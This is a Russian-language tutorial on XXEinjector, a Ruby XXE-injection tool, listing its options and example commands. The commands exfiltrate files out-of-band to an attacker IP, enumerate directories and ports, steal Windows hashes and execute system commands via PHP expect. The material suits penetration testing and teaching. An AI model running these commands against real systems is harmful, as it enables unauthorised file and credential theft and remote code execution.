XXEinjector – это инструмент для инъекций XXE на основе Ruby, который автоматизирует извлечение файлов с использованием прямых и внеполосных методов.
Список каталогов работает только в Java-приложениях, и метод перебора должен использоваться для других приложений.
Использование инструмента для инъекции XXEinjector XXE
XXEinjector фактически имеет много вариантов, поэтому ознакомьтесь с тем, как вы можете наилучшим образом использовать этот тип атаки.
Очевидно, что Ruby является предварительным условием для запуска инструмента.
--host Mandatory - our IP address for reverse connections. (--host=192.168.0.2) --file Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt) --path Mandatory if enumerating directories - Path to enumerate. (--path=/etc) --brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt) --logger Log results only. Do not send requests. HTTP logger looks for "p" parameter with results. --rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3) --rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080) --oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher) --direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK) --cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique. --2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt) --phpfilter Use PHP filter to base64 encode target file before sending. --netdoc Use netdoc protocol instead of file (Java). --enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445) --hashes Steals Windows hash of the user that runs an application. --expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls) --upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt) --xslt Tests for XSLT injection. --ssl Use SSL. --proxy Proxy to use. (--proxy=127.0.0.1:8080) --httpport Set custom HTTP port. (--httpport=80) --ftpport Set custom FTP port. (--ftpport=21) --gopherport Set custom gopher port. (--gopherport=70) --jarport Set custom port for uploading files using jar. (--jarport=1337) --xsltport Set custom port for XSLT injection test. (--xsltport=1337) --test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server. --urlencode URL encode injected DTD. This is default for URI. --nodtd If you want to put DTD in request by yourself. Specify "--dtd" to show how DTD should look like. --output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt) --timeout Timeout for receiving file/directory content. (--timeout=20) --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20) --fast Skip asking what to enumerate. Prone to false-positives. --verbose Show verbose messages.
Если вы не знакомы с атаками XXE, вы должны начать сначала отсюда:
XXE инъекции / виды атак
Примеры использования XXinjector
Перечисление каталога / etc в приложении HTTPS:
# ruby XXEinjector.rb --host = 192.168.0.2 --path = / etc --file = / tmp / req.txt --ssl
Перечисление каталога / etc с использованием gopher для метода OOB:
# ruby XXEinjector.rb --host = 192.168.0.2 --path = / etc --file = / tmp / req.txt --oob = gopher
Эксплуатация второго порядка:
# ruby XXEinjector.rb --host = 192.168.0.2 --path = / etc --file = / tmp / vulnreq.txt --2ndfile = / tmp / 2ndreq.txt
Брутфорс файлов с использованием HTTP внеполосного метода и протокола netdoc:
# ruby XXEinjector.rb --host = 192.168.0.2 --brute = / tmp / filenames.txt --file = / tmp / req.txt --oob = http --netdoc
Перечисление с использованием прямой эксплуатации:
# ruby XXEinjector.rb --file = / tmp / req.txt --path = / etc --direct = UNIQUEMARK
Перечисление нефильтрованных портов:
# ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --enumports = all
Кража хэшей Windows:
# ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --hash
Загрузка файлов с использованием Java jar:
# ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --upload = / tmp / uploadfile.pdf
Выполнение системных команд с использованием PHP:
# ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --oob = http -phpfilter --expect = ls
Тестирование на внедрение XSLT:
# ruby XXEinjector.rb --host = 192.168.0.2 --file = / tmp / req.txt --xslt
Только запросы журнала:
# ruby XXEinjector.rb --logger --oob = http --output = / tmp / out.txt
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.